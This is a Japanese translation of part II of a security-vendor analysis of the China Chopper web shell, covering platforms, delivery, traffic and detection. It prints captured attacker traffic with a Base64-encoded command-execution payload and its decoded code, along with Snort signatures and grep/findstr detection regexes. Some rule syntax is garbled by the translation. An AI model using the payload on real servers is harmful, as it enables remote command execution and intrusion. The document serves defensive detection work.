2部構成のパートII。 パート Iを読んでください。
序章
このシリーズの第 1回では、China Chopper の使いやすいインターフェイスと高度な機能について説明しました。Web シェルのサイズが小さいことを考えると、なおさら注目に値します (aspx バージョンで 73 バイト、ディスクで 4 キロバイト)。この投稿では、China Chopper のプラットフォームの多様性、配信メカニズム、トラフィック パターン、および検出について説明します。この情報を武器に、環境からこの害虫を根絶できることを願っています。
プラットホーム
では、China Chopper はどのプラットフォームで実行できるのでしょうか? JSP、ASP、ASPX、PHP、または CFM を実行できる任意の Web サーバー。これは、世の中にある Web アプリケーション言語の大部分です。オペレーティングシステムはどうですか? China Chopper は、Windows と Linux の両方で透過的に実行できる柔軟性を備えています。この OS とアプリケーションの柔軟性により、これはさらに危険な Web シェルになります。
このシリーズのパート I では、ASPX を使用して Windows 2003 IIS サーバー上で実行される China Chopper を紹介しました。次に、PHP を使用して Linux で実行する方法を示します。図 1 に示すように、PHP バージョンの内容は最小限に抑えられています。
利用可能なオプションは China Chopper が実行されているプラットフォームによって異なりますが、Linux のファイル管理機能 (図 2 を参照) は Windows のファイル管理機能と似ています。
図 3 に示すデータベース クライアントの例は、MS-SQL ではなく MySQL ですが、同じ機能の多くを提供します。
仮想ターミナルは見慣れたものに見えますが (図 4)、Windows ではなく Linux コマンドを使用しています。
配信メカニズム
China Chopper の配信メカニズムは、マルウェアのペイロードのサイズ、形式、および単純さにより、非常に柔軟です。この小さなテキストベースのペイロードは、次のメカニズムのいずれかを使用して配信できます。
- WebDAVファイルのアップロード
- JBoss jmx-console または Apache Tomcat 管理ページ (この攻撃ベクトルの詳細については、FireEye コンサルタントの Tony Lee の説明を参照してください)
- ファイルドロップによるリモートエクスプロイト
- 他のアクセスからの横伝播
トラフィック分析
サーバー側のペイロードと、Web シェルを制御するために使用されるクライアントを見てきました。次に、China Chopper のトラフィックを調べてみましょう。幸いなことに、サーバー コンポーネントとクライアント コンポーネントの両方があるので、パケット キャプチャを開始して、一般的なトラフィックの内容を表示できます。図 5 に示すように、クライアントは HTTP POSTメソッドを使用して TCP ポート 80 経由で接続を開始します。
これは TCP トラフィックであるため、 Wireshark (Unix および Windows で動作する一般的なオープン ソース ネットワーク プロトコル アナライザー) で「TCP をたどる」ことができます。図 6 で、上部の赤色のトラフィックは攻撃者 (Web クライアント) からのものです。下部に青色で表示されているトラフィックは、ターゲット (Web シェル) からの応答です。
上で強調したように、攻撃者のトラフィックの大部分は Base64 でエンコードされているようです。ただし、これは簡単にデコードできるため、問題にはなりません。無料のFiddler Web デバッガーの「TextWizard」機能を使用して、攻撃者が何を送信しているかを発見します。 (注: %3Dは、等号 (“=”) の URL エンコード表現です。Fiddler では、適切にデコードするために、これを等号に変換する必要があります。)
生の攻撃者トラフィック:
Password=Response.Write(“->|”); var err:Exception;try{eval(System.Text.Encoding.GetEncoding(65001). GetString(System.Convert.FromBase64String (“dmFyIGM9bmV3IFN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzU3RhcnRJbmZvKFN5c3RlbS5UZXh0LkVuY29kaW5n LkdldEVuY29kaW5nKDY1MDAxKS5HZXRTdHJpbmcoU3lzdGVtLkNvbnZlcnQuRnJvbUJhc2U2NFN0cmluZyhSZXF1ZX N0Lkl0ZW1bInoxIl0pKSk7dmFyIGU9bmV3IFN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzKCk7dmFyIG91dDpTeXN0 ZW0uSU8uU3RyZWFtUmVhZGVyLEVJOlN5c3RlbS5JTy5TdHJlYW1SZWFkZXI7Yy5Vc2VTaGVsbEV4ZWN1dGU9ZmFsc2 U7Yy5SZWRpcmVjdFN0YW5kYXJkT3V0cHV0PXRydWU7Yy5SZWRpcmVjdFN0YW5kYXJkRXJyb3I9dHJ1ZTtlLlN0YXJ0 SW5mbz1jO2MuQXJndW1lbnRzPSIvYyAiK1N5c3RlbS5UZXh0LkBuY29kaW5nLkdldEVuY29kaW5nKDY1MDAxKS5HZX RTdHJpbmcoU3lzdGVtLkNvbnZlcnQuRnJvbUJhc2U2NFN0cmluZyhSZXF1ZXN0Lkl0ZW1bInoyIl0pKTtlLlN0YXJ0 KCk7b3V0PWUuU3RhbmRhcmRPdXRwdXQ7RUk9ZS5TdGFuZGFyZEVycm9yO2UuQ2xvc2UoKTtSZXNwb25zZS5Xcml0ZS hvdXQuUmVhZFRvRW5kKCkrRUkuUmVhZFRvRW5kKCkpOw%3D%3D”)),”unsafe”);}catch(err){Response.Write (“ERROR:// “%2Berr.message);}Response.Write(“|<-“);Response.End();&z1=Y21k&z2=Y2QgL2QgImM6 XGluZXRwdWJcd3d3cm9vdFwiJndob2FtaSZlY2hvIFtTXSZjZCZlY2hvIFtFXQ%3D%3D |
図 7 に示すように、Fiddler Web デバッガーのテキスト ウィザードは、生のトラフィックを Base64 からプレーン テキストに簡単に変換します。
デコードされたトラフィック:
varc=newSystem.Diagnostics.ProcessStartInfo(System.Text.Encoding.GetEncoding(65001))。 GetString(System.Convert.FromBase64String(Request.Item[” z1 “]))); vare=newSystem.Diagnostics.Process(); varout:System.IO.StreamReader,EI:System.IO.StreamReader; c.UseShellExecute=false; c.RedirectStandardOutput=true;c.RedirectStandardError=true; e.StartInfo=c;c.Arguments=”/c”+System.Text.Encoding.GetEncoding(65001)。 GetString(System.Convert.FromBase64String(Request.Item[” z2 “])); e.Start();out=e.StandardOutput;EI=e.StandardError;e.Close(); Response.Write(out.ReadToEnd()+EI.ReadToEnd()); |
最後に、もっと読みやすいものがあります。ただし、Base64 でデコードされたトラフィックは、z1 および z2 として保存されているより多くの Base64 トラフィックをデコードしようとしています。攻撃者のトラフィックに戻ると、「Password」パラメーターの終了直後に、z1 パラメーターと z2 パラメーターが表示されます。
次の出力では、Base64 でエンコードされたパラメーター z1 と z2 を強調表示しています。
& z1 =Y21k& z2 =Y2QgL2QgImM6XGluZXRwdWJcd3d3cm9vdFwiJndob2FtaSZlY2hvIFtTXSZjZCZlY2hvIFtFXQ%3D%3D |
Base64 でデコードされたパラメーター z1 および z2:
z1=cmdz2=cd /d “c:inetpubwwwroot”&whoami&echo [S]&cd&echo [E] |
これは、クライアントがシェルと通信する方法を説明しています。 「Password」パラメータは、コードをペイロードに渡して実行します。 z1 はcmdで、 z2 にはcmd /c経由で送信されるコマンド プロンプトへの引数が含まれます。すべての出力は標準出力 (stdout) に送信され、攻撃者に返されます。攻撃者は、 whoamiコマンドと現在の作業ディレクトリに対して次の応答を作成します。
->|nt 機関ネットワーク サービス[S]C:Inetpubwwwroot[E]|<- |
検出
China Chopper の内容とそのトラフィックがどのように見えるかを理解したので、ネットワーク レベルとホスト レベルの両方でこの害虫を検出する方法に焦点を当てることができます。
通信網
標準のSnort IDS があれば、このトラフィックは比較的簡単にキャッチできます。 Keith Tyler は、彼の初期のChina Chopper ブログ投稿で、動作するように基本的な IDS 署名を提供しています。
alert tcp any any -> any 80 ( sid:900001; content:”base64_decode”; http_client_body;フロー:to_server、確立; content:”投稿”;ノーケース; http_メソッド; ;msg:”Webshell が Apache を検出しました”;) |
誤検知を減らすために、次のように「FromBase64String」と「z1」の内容を探すことで、Snort IDS シグネチャを強化して China Chopper に焦点を合わせました。
アラート tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg: “最初のコマンドが検出された China Chopper”; フロー:to_server、確立;コンテンツ: “FromBase64String”; コンテンツ: “z1″; content:”投稿”; nocase;http_method; 参考:URL、http://www.fireeye.com/blog/technical/botnet-activities-research/2013/08/ 分解-中国-チョッパー-web-shell-part-i.html; classtype:web-application-attack;シド: 900000101;) |
次の IDS 署名は、「FromBase64String」の内容と、「z」の後に 1 ~ 3 桁の数字が続く任意の組み合わせを探します。たとえば、「z1」、「z10」、または「z100」が見つかります。 (z1) が見つからない場合でも、後続のコマンドをキャッチできます。
アラート tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg: “すべてのコマンドが検出された China Chopper”; flow:to_server, Established; コンテンツ: “FromBase64String”;コンテンツ: “z”; pcre: “/Zd{1,3}/i”; content:”投稿”; nocase;http_method; 参考:URL、http://www.fireeye.com/blog/technical/botnet-activities-research/2013/08/ 分解-中国-チョッパー-web-shell-part-i.html; classtype:web-application-attack;シド: 900000102;) |
これらの IDS シグネチャは両方とも、深度とオフセットを考慮してさらに最適化するために変更できます。シグネチャを実装してパフォーマンスをテストする前に、必ず有効な SID を入力してください。
ネットワーク レベルでの検出について説明したので、ホスト レベルでの検出も可能であることがわかります。シェルには予測可能な構文が含まれている必要があるため、そのコードが実行されているファイルをすばやく見つけることができます。
ホスト
China Chopper を含むファイルを見つけるには、さまざまな方法を使用できます。特に Linux マシンでの最も迅速で簡単な方法は、おそらく正規表現を使用することです。図 10 に示すように、Web ディレクトリ全体で簡単なegrepを実行すると、感染したファイルを特定するのに役立ちます。
egrep -re ‘ [<][?]phps@eval[(]$_POST[.+][)];[?][>]’ *.php |
図 8 からわかるように、 egrepコマンドとregexコマンドは強力な組み合わせです。正規表現は意味不明に見えるかもしれませんが、実際には見た目ほど悪くはありません。 Ian Ahl は、正規表現スキルの向上に役立ついくつかの正規表現チュートリアルを作成しました。開始するための 2 つの方法を次に示します。
Windows には、ネイティブのfindstrコマンドを使用して、正規表現を使用してファイルを検索する方法も用意されています。
お気づきかもしれませんが、正規表現を少し変更する必要がありました。これは、 findstrがregexを解釈するいくつかの方法を回避するために必要でした。実行するコマンドは次のとおりです。
findstr /R “[<][?]php.@eval[(]$_POST.*[)];[?][>]” *.php
これらの例は、PHP シェルでの検出を示しています。 ASPX シェルを見つけるには、次のように ASPX シェルの構文に合うように正規表現を変更します。
egrep -re ‘[<]%@sPagesLanguage=.Jscript.%[>][<]%eval.Request.Item.+unsafe’ *.aspx
findstr /R “[<]%@.Page.Language=.Jscript.%[>][<]%eval.Request.Item.*unsafe” *.aspx
すべての PHP ファイルまたは ASPX ファイルが Windows ホストのどこにあるかわからない場合は、いくつかの拡張オプションを指定してdirコマンドを使用すると、正規表現を実行する Web ファイルを特定するのに役立ちます (図 10 を参照)。
dir /S /A /B *.php
Findstrには、すべてのサブディレクトリを検索するオプションもあります (図 11 を参照)。
findstr /R /S “[<][?]php.@eval[(]$_POST.*[)];[?][>]” *.php
結論
China Chopper の機能、プラットフォームの汎用性、配信メカニズム、トラフィック分析、および検出に関するこの説明が、このエレガントに設計された危険な脅威を根絶するために必要な知識とツールを提供することを願っています.
良い狩り。
参照: https://www.mandiant.com/resources/blog/breaking-down-the-china-chopper-web-shell-part-ii
Comments